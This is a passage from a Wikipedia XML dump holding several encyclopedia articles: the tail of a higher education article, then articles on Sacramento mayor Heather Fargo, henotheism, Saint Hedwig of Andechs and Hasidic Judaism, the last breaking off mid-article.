On September 15, 2005 the Federabl Bureau of Investigation created the National Security Higher Education Advisory Board.  The board will &quot;provide advice on the culture of higher education.&quot;  The details of how involved the FBI will be involved on campus is left ambiguous.  The board will help develop research, degree programs, course work, internships, opportunities for graduates, and consulting opportunities for faculty relating to national security.  Graham Spanier, President of Pennsylvania State University, will chair the Board.  Universities involved: Johns Hopkins University, University of California Los Angeles, Carnegie Mellon University, University of Colifornia, San Diego, Texas A&amp;M University, Iowa State University, University of Pennsylvania, West Virginia University, Massachusetts Institute of Technology, Purdue University, University of Florida, University of North Carolina Chapel Hill, University of Maryland, University of Wisconsin, and University of Washington.

==See also==
{{Education stages}}

==Further reading==

''Higher education in the United States''

* Davies, Antony and Thomas W. Cline (2005). [http://www.business.duq.edu/faculty/davies/research/roimba.pdf ''The ROI on the MBA,''] &lt;u&gt;BizEd&lt;/u&gt;.

* El-Khawas, E. (1996). ''Campus trends''. Washington, DC.: American Council on Education. 

* Ewell, P.T. (1999). Assessment of higher education and quality: Promise and politics. In S.J. Messick (Ed.), ''Assessment in higher education: Issues of access, quality, student development, and public policy''. Mahwah, NJ: Erlbaum. 

* Finn, C. E. (1988, Jul.-Aug.). Judgment time for higher education: In the court of public opinion. ''Change'', 20(4), 34-39. 

* Green, Madeleine, F., ed. 1988. ''Leaders for a New Era: Strategies for Higher Education''. New York: Macmillan.

* Snyder, Benson R. (1970).  ''[[The Hidden Curriculum]].'' Cambridge, MA: MIT Press.

* Veblen, Thorstein (1918). ''The Higher Learning in America: A Memorandum on the Conduct of Universities by Businessmen''. New York: Huebsch

* Forest, James and Kevin Kinser (2002). Higher Education in the United States: An Encyclopedia. Santa Barbara: ABC-CLIO.

''Higher education in Canada''

* Bakvis, Herman and [[David M. Cameron]] (2000), [http://www.irpp.org/po/archive/po0500.htm#sufa &quot;Post-secondary education and the SUFA&quot;]. IRPP.

== External links ==
*[http://www.study-in-europe.info/ Universities, Polytechnics and Colleges in Europe]
*[http://www.vidyasoochika.co.in VidyaSoochika - Higher Education Opportunities] 
*[http://www.higher-ed.org Higher Education Resource Hub]
*[http://www.higher-ed.org/heus Encyclopedia of Higher Education in the United States]
*[http://www.ericdigests.org/2002-3/finance.htm How Minority Students Finance Their Higher Education]
*[http://www.ericdigests.org/2003-3/quality.htm Ensuring Quality and Productivity in Higher Education]
*[http://www.cdtl.nus.edu.sg/success Writings on Higher Education Practice from the National University of Singapore]
*[http://www.ericdigests.org/2003-3/reform.htm Reform Initiatives in Higher Education]
*[http://www.ericdigests.org/pre-9219/higher.htm Budgeting for Higher Education at the State Level: Enigma, Paradox, and Ritual]
*[http://www.ericdigests.org/pre-926/blue.htm Blue Ribbon Commissions and Higher Education]
*[http://www.fullyemployedmba.com/x374.php Part Time MBA - Balancing Life, Work and School - Article] 
*[http://www.acenet.edu/ American Council on Education]
*[http://www.gseis.ucla.edu/heri/heri.html Higher Education Research Institute]
*[http://www.ashe.ws/ Association for the Study of Higher Education]

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    <title>Heather Fargo</title>
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      <text xml:space="preserve">'''Heather Fargo''' (born [[December 12]], [[1952]], in [[Oakland, California]]) has been [[Mayor of Sacramento, California]] since [[2001]]. She received a [[Bachelor of Science]] degree in Environmental Planning and Management from the [[University of California, Davis]] in [[1975]]. Fargo was first elected to the [[Sacramento, California|Sacramento]] City Council in [[1989]] representing District One.  She was re-elected in [[1994]] and [[1998]].

Prior to becoming Mayor full-time, she was employed as a manager of the California State Parks Volunteer Program.

In the late 1990s and early 2000s, Mayor Heather Fargo made several abortive attempts to provide taxpayer financing of a new stadium for the Maloof brothers, owners of the Kings NBA basketball franchise.

Mayor Fargo's tenure also saw the passing of a resolution for immediate unilateral withdrawal from the War on Terror in Iraq, and a resolution condemning the Patriot Act.



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  <page>
    <title>Henotheism</title>
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      <text xml:space="preserve">In [[religion]] and [[philosophy]], '''henotheism''' is a term coined by [[Max Müller]], meaning devotion to a single [[deity|god]] while accepting the existence of other [[gods]]. It is derived from the Greek ''heis theos'', &quot;one god&quot;. According to Müller, it is &quot;[[monotheism]] in principle and a [[polytheism]] in fact&quot;. Variations on the term have been '''inclusive monotheism''' and '''monarchial polytheism''', designed to differentiate differing forms of the phenomenon. Related terms are [[monolatrism]] and [[kathenotheism]], which are typically understood as sub-types of henotheism.  The latter term is an extension of &quot;henotheism&quot;, from ''kath heno theon'' &amp;ndash; &quot;one god at a time&quot;. Henotheism is similar but less exclusive than [[monolatry]] because a monolator worships only one god, while the henotheist may worship any within the [[pantheon (gods)|pantheon]], depending on circumstances. In some [[Belief system|belief systems]], the choice of the supreme deity within a henotheistic framework may be determined by cultural, geographical, or political reasons.

==Henotheism in various religions==

===Classical Greco-Roman [[Paganism]]===
While [[Greek mythology|Greek]] and [[Roman mythology|Roman]] religion began as [[polytheism]], during the [[Classical antiquity|Classical]] period the religion was thoroughly henotheistic, taking the form of a monarchical polytheism. [[Zeus]] (or [[jupiter (god)|Jupiter]]) was viewed as the supreme, all-powerful and all-knowing, king and father of the Olympian gods. To illustrate, [[Maximus Tyrius]] ([[2nd century]] C.E.), stated:
:&quot;In such a mighty contest, sedition and discord, you will see one according law and assertion in all the earth, that there is one God, the king and father of all things, and many gods, sons of God, ruling together with him.&quot;

The Philosophers [[Plato]] and [[Plotinus]] taught that above the gods of traditional belief was &quot;The One&quot;. The One ([[God]]) is transcendent and ineffable.

===Hinduism===
It is difficult clearly to characterise Hinduism, which can take the form of pantheistic monism, as in [[Vedanta]], or monotheism, as in [[Smarta]] Hinduism. In popular form it appears sometimes as polytheism, or as inclusive monotheism admitting emanating deities. However, Rig Veda (undeveloped early Hinduism), was what Max Müller based his views of henotheism on. In the four [[Vedas]], Müller believed that a striving towards One was being aimed at by the worship of different cosmic principles, such as [[Agni]] (fire), [[Vayu]] (wind), [[Indra]] (rain, thunder, the sky), etc. each of which was variously, by clearly different writers, hailed as supreme in different sections of the books. Indeed, however, what was confusing was an early idea of Rita, or supreme order, that bound all the gods. Other phrases such as ''Ekam Sat, Vipraha Bahudha Vadanti'' (Truth is One, though the sages know it as many) led to understandings that the Vedic people admitted to fundamental oneness. From this mix of [[monism]], monotheism and naturalist polytheism Max Müller decided to name the early Vedic religion henotheistic.

However, unprecedented and thitherto unduplicated ideas of pure [[monism]] are to be found even in the early [[Rig Veda]] [[Samhita]], notwithstanding clearly monist and monotheist movements of Hinduism that developed with the advent of the [[Upanishads]]. One such example of early Vedic monism is the Nasadiya hymn of the Rig Veda: &quot;That One breathed by itself without breath, other than it there has been nothing.&quot; To collectively term the Vedas henotheistic, and thus further leaning towards polytheism, rather than monotheism, may play down the clearly monist bent of the Vedas that were thoroughly developed as early as [[1000s BCE|1000 BCE]] in the first [[Aranyaka]]s and [[Upanishads]]. However, to deny that a form of polytheism is also present may equally be to ignore aspects of the early Vedic texts. Whether the concept of &quot;henotheism&quot; adequately addresses these complexities or simply fudges them is a matter of debate.

As for classical Hinduism, it evolved within the Vedic line but truly came into being with the ascendancy of aspects of God like [[Shiva]] and [[Vishnu]] in the Puranic and post-Puranic developments. Many sects of monotheistic [[bhakti]] (loving devotion) worshippers came into vogue who, while admitting other deities, saw them as clearly emanating from one principal source. Extreme monists within the [[Advaita Vedanta]] movement, [[Yoga]] philosophy and certain non-dual [[Tantra]] schools of Hinduism preclude a broad categorization of Hinduism as henotheistic, what with the conception of [[Brahman]], a formless non-being-being that is posited to be pure consciousness, beyond attributes, the Divine Ground from which all else that is limited and temporal sprang. The fundamental Hindu trinity, [[Brahma (god)|Brahma]], [[Vishnu]] and [[Shiva]] are seen as many as being creation, preservation and destruction subsumed in one cycle of being that is ultimately transcended with the attainment of [[moksha]]. Nevertheless, different devotional traditions have disputed the primacy of Shiva over Vishnu and ''vice versa''. Again &quot;henotheism&quot; is a loose term covering complex traditions and disputes. The period of Hinduism that most closely corresponded to henotheism as Müller understood it was the early Vedic period (before [[1000s BCE|1000 BCE]] within the four preliminary Vedas) and even that is disputed by some scholars, most notably the great Hindu mystic [[Aurobindo Ghosh]].

===Christianity===
Although most Christians adamantly label themselves as [[monotheism|monotheists]], some argue that [[Christianity]] is properly a form of henotheism. Most forms of Christianity include the belief in a [[Godhead (Christianity)|Christian Godhead]] consisting of [[God the Father]], [[Jesus]], and the [[Holy Spirit]], with God the Father being dominant &quot;actor&quot; and &quot;creator&quot; &amp;ndash; though most Christians reject the view that God the Father is supreme over Jesus Christ and the Holy Spirit. However, [[Trinity|Trinitarian]] Christians strongly reject the view that the three persons of the Godhead are three distinct gods. Rather, they describe the three persons as having a single &quot;substance&quot;, thus counting as one god. The [[Council of Nicea]] (325 C.E.) affirmed that God was &quot;One Substance (Greek ''Ousia'') and three Persona (Greek ''[[Hypostasis]]'')&quot;. 

The Christian Trinity, like the Classical Pagan Hypostasis and Hindu [[Trimurti]], has an impersonal divine substance as its unifying principle.

In addition, many Christians believe in what some consider to be a &quot;pantheon&quot; of [[angel]]s, [[demon]]s, and/or [[Saint]]s that are inferior to the [[Trinity]]. Christians do not label these beings as &quot;gods&quot;, although they are attributed with supernatural powers, and are sometimes the object of prayer.

When Christianity was adopted by Greco-Roman pagans or African slaves, the new converts often [[Saint#Historicity|attributed to these saints features]] of their previous polytheistic figures. In some cases, these beliefs have developed out of the Catholic church and form [[syncretism]]s like [[Santeria]]. (These beliefs are somewhat similar to [[Hinduism]] which distinguishes between God in the form of [[Vishnu]] or [[Shiva]], and [[deva]]s which are subordinate to God and who supervise forces of nature such as [[Agni]] (i.e., [[fire]]) or [[Vayu]] (i.e., [[wind]].) 

Some [[non-trinitarian]] Christian denominations are more clearly henotheistic: 
*Christian [[Gnosticism]] is generally henotheistic. 
*In addition, [[The Church of Jesus Christ of Latter Day Saints]] (Mormonism, or the LDS Church) views the members of the [[Godhead (Christianity)|Christian Godhead]] as three distinct beings, where [[God the Father]] is supreme. Though not explicitly mentioned in cannonical LDS scripture, some [[Latter Day Saint]]s also infer the existence of numerous other [[god]]s and [[goddess]]es who have no direct relevance to this Earth or humanity. ''See'' [[Godhead (Mormonism)]]. Though not explicitly discussed in canonical scripture, some [[Latter Day Saint]]s also acknowledge a [[Heavenly Mother]] in addition to [[God the Father]].  However, Mormons worship one God; this view is most easily described as worshipping God the Father ''through'' the conduit of the Son, Jesus Christ. Whereas other Christians speak of &quot;One God in Three Persons,&quot; the LDS scripture speaks instead of three persons in one God. See the [[Book of Mormon]]'s Mosiah 15:4 [http://scriptures.lds.org/mosiah/15/4#4] (&quot;they are one God&quot;), and LDS interpretation of John 17:11 [http://scriptures.lds.org/john/17] (Jesus asks the Father in prayer that his disciples &quot;may be one, ''as we are''&quot;).

===Israelite Beliefs and Judaism===
It is generally uncontroversial that many of the Iron Age religions found in the land of Israel were henotheistic in practice.  For example, the [[Moab|Moabites]] worshipped the god, [[Chemosh]], the [[Edom|Edomites]], [[Qaus]], both of whom were part of the greater [[Canaan|Canaanite]] pantheon, headed by the chief god, [[El (Canaanite god)|El]].  The Canaanite pantheon consisted of El and [[Asherah|Asherat]] as the chief deities, with 70 sons who were said to rule over each of the nations of the earth.  These sons were the national gods worshipped within each region.

More recently, M.S. Smith's synthesis of the [[Hebrews|Hebrew]] religion in the Iron Age has put forward the case that it, like those around it, was also henotheistic.  The discovery of artifacts at Kuntillet 'Ajrud and Khirbet El-Qom have arguably shown that in at least some sections of Israelite society, [[Yahweh]] and Asherah were believed to coexist as a divine couple.  Further evidence of an understanding of Yahweh existing within the Canaanite pantheon derives from [[syncretism|syncretistic]] [[Mythology|myths]] found within the [[Hebrew Bible]] itself.  Various battles between Yahweh and [[Leviathan]], [[Mot]], the [[tannin|tanninim]], and [[Yamm]] are already attested in the 14th century B.C.E. texts found at [[Ugarit]] (ancient Ras-Shamra).  In some cases, Yahweh had replaced Baal, and in others, he had taken El's roles.

According to Genesis, [[Abraham]] is revered as the one who overcame the idol worship of his family and surrounding people by recognizing the Hebrew God and establishing a covenant with him and creating the foundation of what has been called by scholars &quot;[[Ethical]] [[Monotheism]]&quot;. The first of the [[Ten commandments]] can be interpreted to forbid the Children of Israel from worshiping any other god but the one true God who had revealed himself at Mount Sinai and given them the [[Torah]], however it can also be read as henotheistic, since it states that they should have &quot;no other gods before me&quot;, not that there ''are'' no other gods. Unfortunately, as recorded in the [[Tanakh]] (&quot;Old Testament&quot; Bible), in defiance of the Torah's teachings, the patron god [[Tetragrammaton|YHWH]] was frequently worshipped in conjunction with other gods such as [[Baal]], [[Asherah]], and [[El (Canaanite god)|El]]. Over time, this tribal god may have assumed all the appellations of the other gods in the eyes of the people. The destruction of the [[Jewish Temple in Jerusalem]] and the exile to Babylon was considered a divine reprimand and punishment for the mistaken worship of other deities. By the end of the [[Babylonian captivity of Judah]] in the [[Tanakh]], Judaism is strictly [[monotheism|monotheistic]]. There are still seeming elements of &quot;polytheism&quot; in certain biblical books, such as [[God]]'s reference to himself as &quot;us&quot; in [[Genesis]] 1:26 and 3:22, in [[Daniel]]'s frequent use of the honorific &quot;God of gods&quot; and especially in the Psalms. However, the word God, in Hebrew, &quot;Elohim,&quot; is also a general term for &quot;mighty one&quot; or &quot;ruler.&quot; This is true in Hebrew as well as other related Canaanite languages. So this assertion is also very questionable, and &quot;Elohim&quot; can refer to any number of &quot;rulers,&quot; such as angels, false gods (as defined by Torah), or even human rulers within Israel, as described in [[Exodus]] 21:6; 22:8-8, without violating the parameters of monotheism.  Some scholars believe that [[Exodus]] 3:13-15 describes the moment when YHWH first tells [[Moses]] that he is the same god as [[El (Canaanite god)|El]], the supreme being. This could be the recounting, in [[Mythology|myth]]ical form, of [[Kingdom of Israel|Israel]]'s conversion to monotheism.

==See also==
*[[Kathenotheism]]
*[[Monolatry]]
*[[Monotheism]]
*[[Polytheism]]
*[[Polydeism]]
*[[Comparative religion]]

[[Category:Monotheism]]
[[Category:Christian theology]]
[[Category:Polytheism]]
[[Category:Ancient Israel and Judah]]

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    <title>Hedwig of Andechs</title>
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      <text xml:space="preserve">:''This article is about the [[13th century|13th-century]] saint. For the [[14th century|14th-century]] namesake queen and saint, St. Hedwig the Queen of Poland (''Święta Jadwiga Królowa Polski''), see [[Jadwiga Angevin]].''


'''Saint Hedwig of Andechs''' ([[1174]] - October [[1243]]; [[Polish language|Polish]]: '''Święta Jadwiga Śląska''') was born at Castle [[Andechs]], [[Bavaria]], the daughter of [[Berthold III]], Count of [[Tirol]] and Duke of [[Carinthia (duchy)|Carinthia]] and [[Istria]] (Andechs-Meran), and his wife Agnes. 

One of Hedwig's sisters married [[Andrew II of Hungary|Andrew, King of Hungary]]. Their daughter was Saint [[Elisabeth of Hungary]], also known as Elizabeth of [[Thuringia]].

Another of Hedwig's sisters was abbess at the [[Benedictine]] convent of [[Lutzingen Nunnery|Lutzingen]] in [[Franconia]], where Hedwig received her education.

At age 18, Hedwig married [[Henryk I the Bearded]] of [[Głogów]]. In [[1233]] Henryk also became Duke of [[Greater Poland]]. He died in battle with the [[Mongol Empire|Mongols]] in [[1238]].  Upon his death, Hedwig entered the [[Cistercian]] [[convent]] of [[Trzebnica]]. 

Hedwig and [[Henryk I the Bearded]] had a son, [[Henryk II]].  In [[1241]] he was also killed in battle with the Mongols, who had attacked [[Eastern Europe]] and come all the way to [[Silesia]] and [[Brandenburg]]. The Mongols' aim was to reach the [[Baltic Sea]], subjugating  all the peoples in their path.  The Mongol army was turned back by German and Polish forces under [[Gotthart Brandis]].

Hedwig and Henryk had lived a very pious life, and Hedwig had great zeal for religion. She always helped the poor, went [[barefoot]] even in winter, and donated all her fortune to the [[Roman Catholic Church|Church]] and the poor.

She died in October [[1243]] and was buried at Trzebnica, while [[relic]]s of her are preserved at [[Andechs|Andechs Abbey]].

Hedwig was [[canonized]] in [[1267]].

Hedwig is the patron saint of [[Brandenburg]], [[Berlin]], [[Silesia]] and its capital [[Wrocław]], of [[Trzebnica]], the Diocese of [[Goerlitz]], of [[Andechs]] and of [[Kraków]]. [[St. Hedwig's Cathedral]] is the mother church of the [[Archdiocese]] of [[Berlin]].

[[Category:Polish saints]]
[[category:German people]]
[[Category:Cistercians]]

[[de:Hedwig von Andechs]]
[[fr:Sainte Hedwige de Silésie]]
[[pl:Jadwiga Śląska]]
[[uk:Ядвіґа Сілезька]]</text>
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    <title>Hasidic Judaism</title>
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      <text xml:space="preserve">{{Jew}}

'''Hasidic Judaism''' (from the [[Hebrew language|Hebrew]]: '''Chasidut''' &amp;#1495;&amp;#1505;&amp;#1497;&amp;#1491;&amp;#1493;&amp;#1514;, meaning &quot;pious&quot;, from the [[Hebrew language|Hebrew]] root word ''chesed'' &amp;#1495;&amp;#1505;&amp;#1491; meaning &quot;loving kindness&quot;) is a [[Haredi Judaism|Haredi]] [[Judaism|Jewish]] religious movement. Some refer to Hasidic Judaism as '''Hasidism''', and the adjective ''Chasidic''/''Hasidic'' (or in [[Yiddish]] ''Chasidish'' &amp;#1495;&amp;#1505;&amp;#1497;&amp;#1491;&amp;#1497;&amp;#1513;) applies. The movement originated in [[Eastern Europe]] ([[Belarus]] and [[Ukraine]]) in the [[18th century]].

Rabbi [[Israel ben Eliezer]] (1700–1760), also known as the [[Israel ben Eliezer | ''Ba'al Shem Tov'']] {{ref|Besht}}, founded Hasidic Judaism. It originated in a time of persecution of the [[Jew]]ish people, when European Jews had turned inward to [[Talmud]] study; many felt that most expressions of Jewish life had become too &quot;academic&quot;, and that they no longer had any emphasis on [[spirituality]] or joy.  The ''Ba'al Shem Tov'' set out to improve the situation. In its initial stages, Hasidism met with opposition from several contemporary leaders, most notably the [[Vilna Gaon]] leader of the [[Lithuanian Jews]], united as the ''[[mitnagdim]]''—literally meaning &quot;those who stand opposite&quot;—a name given to them by the Hasidim themselves.
==History==
===Prelude===
In [[Poland]], where the bulk of Jewry had established itself since the [[sixteenth century]], the struggle between traditional rabbinic Judaism and radical [[Kabbalah]]-influenced [[mysticism]] became particularly acute after the Messianic movement of [[Sabbatai Zevi]] in the 17th century. Leanings toward mystical doctrines and sectarianism showed themselves prominently among the Jews of the south-eastern provinces of Poland, while in the north-eastern provinces, in [[Lithuania]], and in [[White Russia]], rabbinical orthodoxy held sway.  Jews who follow this tradition are called ''[[Litvish]]'' (Lithuanian). In part, this division in modes of thought reflected social differences between the northern (Lithuanian) Jews and the southern Jews of [[Ukraine]]. In Lithuania the Jewish masses mainly lived in densely-populated towns where rabbinical academic culture (in the [[yeshiva | yeshivot]]) flourished; while in Ukraine the Jews tended to live scattered in villages far removed from intellectual centers.

Pessimism in the south became more intense after the [[Chmielnicki Uprising | Cossacks' Uprising]] (1648 - 1654) under [[Bohdan Khmelnytsky | Bohdan Chmielnicki]] and the [[The Deluge | turbulent times]] in Poland (1648 - 1660), which completely ruined the Jewry of Ukraine, but left comparatively untouched that of Lithuania. The economic and spiritual decline of the Jews of what became southern Russia created a favorable field for mystical movements and religious sectarianism, which spread in the area from the middle of the seventeenth to the middle of the eighteenth century.

Besides these influences, deeply-seated causes produced among many Jews a discontent with [[rabbinism]] and a gravitation toward [[mysticism]]. Rabbinism, which in Poland had become transformed into a system of religious formalism, no longer provided a satisfactory religious experience to many Jews. Although traditional [[Judaism]] had adopted some features of Kabbalah, it adapted them to fit its own system: it added to its own ritualism the asceticism of the &quot;practical cabalists&quot; of the East&lt;!-- East of what? --&gt;, who saw the essence of earthly existence only in fasting, in penance, and in spiritual sadness. Such a combination of religious practises, suitable for individuals and hermits, did not suit the bulk of the Jews.

Hasidism gave a ready response to the burning desire of the common people in its simple, stimulating, and comforting faith. In contradistinction to other sectarian teaching, early Hasidism aimed not at dogmatic or ritual reform, but at a deeper psychological one. It aimed to change not the belief, but the believer. By means of psychological suggestion it created a new type of religious man, a type that placed emotion above reason and rites, and religious exaltation above knowledge.

===Israel ben Eliezer===

The founder of Hasidism, [[Israel ben Eliezer]], also became known under the title of the &quot;Master of the Good Name&quot; (the ''Ba'al Shem Tov'', abbreviated as the ''Besht'').  His fame as a healer spread not only among the Jews, but also among the non-Jewish peasants and the Polish nobles. He allegedly could sometimes successfully predict the future. 

To the common people, the ''Besht'' appeared wholly admirable. Characterized by an extraordinary sincerity and simplicity, he knew how to gain an insight into the spiritual needs of the masses. He taught them that true religion consisted not only of religious scholarship, but also of a sincere love of God combined with warm faith and belief in the efficacy of [[prayer]]; that the ordinary person filled with a sincere belief in God, and whose prayers come from the heart, is more acceptable to God than someone versed in and fully observant of Jewish law. This democratization of Judaism attracted to the teachings of the ''Besht'' not only the common people, but also the scholars whom the rabbinical [[scholasticism]] and ascetic [[Kabbalah]] failed to satisfy.

About 1740 the ''Besht'' established himself in the [[Podolia]]n town of Miedzyboz. He gathered about him numerous disciples and followers, whom he initiated into the secrets of his teachings not by systematic exposition, but by means of sayings and parables. These sayings spread by oral transmission; later the founder's disciples set them in writing, developing the disjointed thoughts of their master into a system. The ''Besht'' himself did not write anything. As a mystic by nature, he regarded his teachings as a prophetic revelation.

===The spread of Hasidism===

Israel ben Eliezer's disciples attracted many followers; they themselves established numerous Hasidic sects across [[Europe]]. After the ''Besht'''s death, followers continued his cause, especially [[Dovber of Mezeritch|Dov Ber of Mezeritch]]. From his court students went forth; they in turn attracted many Jews to Hasidism, and many of them came to study in Mezhirech with Dov Ber personally. Hasidic Judaism eventually became the way of life of the majority of Jews in [[Ukraine]], [[Galicia (Central Europe)|Galicia]], and central [[Poland]]; the movement also had sizable groups of followers in [[Belarus]]-[[Lithuania]] and [[Hungary]].  Hasidic Judaism came to [[Western Europe]] and then to the [[United States]] during the large waves of Jewish emigration in the 1880s.
[[Image:Hasidim Hungary.jpg|thumb|Hasidim at a 1923 Rabbinical conference in Marienbad (Now Mariánské Lázně, Czech Republic)]]

Hasidism gradually branched out into two main divisions: (1) in Ukraine and in Galicia and (2) in Lithuania.  Three disciples of Dov Ber of Mezeritch ([[Elimelech of Lezhinsk]], [[Levi Yitzchak]] of Berdichev, and [[Menachem Nahum]] of [[Chornobyl|Chernobyl]]), besides the grandson of the ''Besht'', Baruch of Tulchin, directed the first of these divisions. Elimelech of Lezhinsk affirmed belief in Tzaddikism as a fundamental doctrine of Hasidism. In his book ''No'am Elimelekh'' he conveys the idea of the [[Tzadik]] (&quot;righteous one&quot;) as the mediator between God and the common people, and suggests that through him God sends to the faithful three earthly blessings: life, a livelihood, and children, on the condition, however, that the Hasidim support the Tzaddik by pecuniary contributions (&quot;pidyonim&quot;), in order to enable the holy man to become completely absorbed in the contemplation of God. Lithuanian Hasidim followed Rabbi [[Shneur Zalman]] of Liadi, who founded [[Chabad Lubavitch|Chabad]] Hassidism.

This teaching practically led to the contribution by the people of their last pennies toward the support of their tzaddik (''[[rebbe]]''), and the tzaddik untiringly &quot;poured forth blessings on the earth, healed the sick, cured women of sterility,&quot; etc. The vocation of tzaddik became hereditary. A multiplicity of Hasidic dynasties contested for supremacy.

===Opposition===

Early on, a serious schism evolved between the Hasidic and non-Hasidic Jews. The Hasidim dubbed [[Europe]]an [[Jew]]s who rejected the Hasidic movement as ''[[Mitnagdim]]''. Critics of Hasidic Judaism:
* decried the novel Hasidic emphasis on different aspects of [[halakha|Jewish law]];
* found even more problematic the overwhelming exuberance of Hasidic worship; 
* distrusted as non-traditional Hasidic ascriptions of infallibility and [[Miracle]]-working to their leaders;
* expressed concern that Hasidism might become a messianic sect (which in fact had occurred among the followers of both [[Shabbatai Zvi]] and [[Jacob Frank]])

[[Image:Vilna Gaon portrait.gif|thumb|The [[Vilna Gaon]], the head of the ''Mitnagdim'' and the most famous opponent of Hasidism]]
Some other important differences between Hasidim and ''Mitnagdim'' included:
* Hasidism believed in miracle workers; they believed that the ''Ba'al Shem Tov'' and some of his disciples literally performed miracles. Stories of their miracles became a part of Hasidic literature. In opposition many Jewish religious rationalists held such views as heretical, based on classical rabbinic works such as [[Saadia Gaon]]'s ''[[Emunoth ve-Deoth]]''.
* The Hasidic way of dress was seen as a way to outwardly appear pious; this was opposed as improper.
* Chassidic philosophy (''Chassidus'') holds as a core belief that God permeates all physical objects in nature, including all living beings. This belief is understood by Hassidim in a [[panentheism|panentheistic]] way that God is the animating force behind the universe. However many of the Hasidic teachings if taken literally and not in the way that those teachings are explained, can be misunderstood as [[pantheism]]. In opposition many Jewish religious rationalists viewed these writings literally, and their [[pantheism|pantheistic]] understanding of them as being a violation against the [[Maimonides|Maimonidean]] principle of faith that God is not physical, and thus was seen as heretical.
* Chassidus teaches that there are sparks of goodness in all things, which can be redeemed to perfect the world. Many held such a view to be false and dangerous.

On a more prosaic level, other ''Mitnagdim'' argued that Jews should follow a more scholarly approach to Judaism. At one point Hasidic Jews were put in ''[[cherem]]'' (a Jewish form of communal excommunication); after years of bitter acrimony, a rapprochement occurred between Hasidic Jews and those who would soon become known as [[Orthodox Judaism|Orthodox Jews]]. The reconciliation took place in response to the perceived even greater threat of the ''[[Haskala]]'', or Jewish Enlightenment.  Since then [[Orthodox Judaism]], and particularly [[Haredi Judaism]], has subsumed all the sects of Hasidic Judaism.

===Since the Holocaust===

During [[the Holocaust]] [[anti-Semitism]] destroyed the Hasidic centers of Eastern [[Europe]]. Survivors moved to [[Israel]] or to America, notably to [[Brooklyn]] (New York), and established new centers of Hasidic Judaism. Some of the larger and more well-known Hasidic sects still extant include [[Breslov (Hasidic dynasty)|Breslov]], [[Lubavitch]] (Chabad), [[Satmar]], [[Ger (Hasidic dynasty)|Ger]], [[Belz (Hasidic dynasty)|Belz]], [[Vizhnitz]], [[Sanz]], [[Puppa]], [[Munkacz (Hasidic dynasty)|Munkacz]], [[Spinka (Hasidic dynasty)|Spinka]], and [[Bobov]] Hasidim. 

For years, two &quot;superpowers&quot; of the Brooklyn Hasidic world existed: Satmar and Chabad &amp;mdash; based in [[Williamsburg, Brooklyn|Williamsburg]] and in [[Crown Heights]] respectively.

A major Hasidic center also exists in [[IVe arrondissement|fourth arrondissement]] of [[Paris]], near the famous Jewish quarter of the rue des rosiers.

==Religious practice and culture==

===Fundamental conceptions===
The teachings of Hasidism are founded on two theoretical conceptions: (1) religious [[panentheism]], or the omnipresence of [[God]], and (2) the idea of ''Devekut'', communion between God and man.  &quot;Man,&quot; says the ''Besht'', &quot;must always bear in mind that God is omnipresent and is always with him; that God is, so to speak, the most subtle matter everywhere diffused... Let man realize that when he is looking at material things he is in reality gazing at the image of the Deity which is present in all things. With this in mind man will always serve God even in small matters.&quot;

''Devekut'' (communion) refers to the belief that an unbroken intercourse takes place between the world of God and the world of humanity. It is true not only that the Deity influences the acts of man, but also that man exerts an influence on the will of the Deity. Every act and word of man produces a corresponding vibration in the upper spheres. From this conception is derived the chief practical principle of Hasidism - communion with God for the purpose of uniting with the source of life and of influencing it. This communion is achieved through the concentration of all thoughts on God, and consulting Him in all the affairs of life.
[[Image:Hasidic Celebration.jpg|thumb|A Hasidic celebration in [[Borough Park]], New York]]
The righteous man is in constant communion with God, even in his worldly affairs, since here also he feels His presence. An especial form of communion with God is prayer. In order to render this communion complete the prayer must be full of fervor, ecstatic; and the soul of him who prays must during his devotions detach itself, so to speak, from its material dwelling. For the attainment of ecstasy recourse may be had to mechanical means, to violent bodily motions, to shouting and singing. According to Besht, the essence of religion is in sentiment and not in reason. Theological learning and halakhic lore are of secondary importance, and are useful only when they serve as a means of producing an exalted religious mood. It is better to read books of moral instruction than to engage in the study of the casuistic [[Talmud]] and the rabbinical literature. In the performance of rites the mood of the believer is of more importance than the externals; for this reason formalism and superfluous ceremonial details are injurious.

===Liturgy and prayer===

[[Image:TosherRebbe.JPG|thumb|The [[Tosh (Hasidic dynasty)|Tosher]] [[Rebbe]] concentrating on prayer]]
Most Hasidim pray according to the ''Nusach Sepharad'' (prayer style), a blend of [[Ashkenazi]] and [[Sephardi]] liturgies, based on the innovations of Rabbi [[Isaac Luria]] (also known as the ''Arizal''). In regard to dialect, the Hasidim pray in very strong [[Ashkenazic Hebrew]] that contains many nuances picked up from [[Yiddish]]. This dialect has nothing to do with Hasidism in its origins, nor was it chosen deliberately: it just happens to be the Yiddish dialect of the places from which most Hasidim originally came. Hasidim who follow dynasties that originated in [[Galicia (Central Europe)|Galicia]] pray in a different type of Hebrew, because when seculars began to speak the modern [[Hebrew language]] the Galician Hasidic leaders mandated pronouncing the words of the Liturgy differently as to differentiate themselves from the seculars. This has become [[Galician Hebrew]]. 

Hasidic prayer has a distinctive accompaniment of melodies called ''[[nigun]]im'' (or in America &quot;nigguns&quot;) that represent the overall mood of the prayer; even many non-Hasidim attend Hasidic synagogues in order to hear this. Hasidic prayer also has a reputation for taking a very long time (although some groups do pray quickly). Some very pious Hasidim will spend seven seconds of concentration of every single word of the prayer of ''[[Amidah]]''. 

Hasidim have a reputation for having a lot of ''kavanah'', mental concentration, during prayer. Overall, Hasidim regard prayer as one of the most paramount activities during the day. In fact, one of the most controversial innovations of Hassidic practice involves the near-abolition of the traditional specified times of day by which prayers must be conducted (''zemanim''), particularly the morning prayer; the preparations for prayer, including partaking of food (also proscribed by strict [[Halakha | halachic]] literalism) take precedence and may extend into the allotted time. The Kotzker Rebbe allegedly originated this practice.

===Dress===

[[Image:Hasidim.jpg||230px|thumb|right|Hasidic Rebbes and Hasidim in traditional dress. Note the shtreimels, black bekishes, and the gartels.]]
Hasidim have a reputation for their distinctive attire. Within the Hasidic world, one can distinguish different groups by subtle differences in appearance.

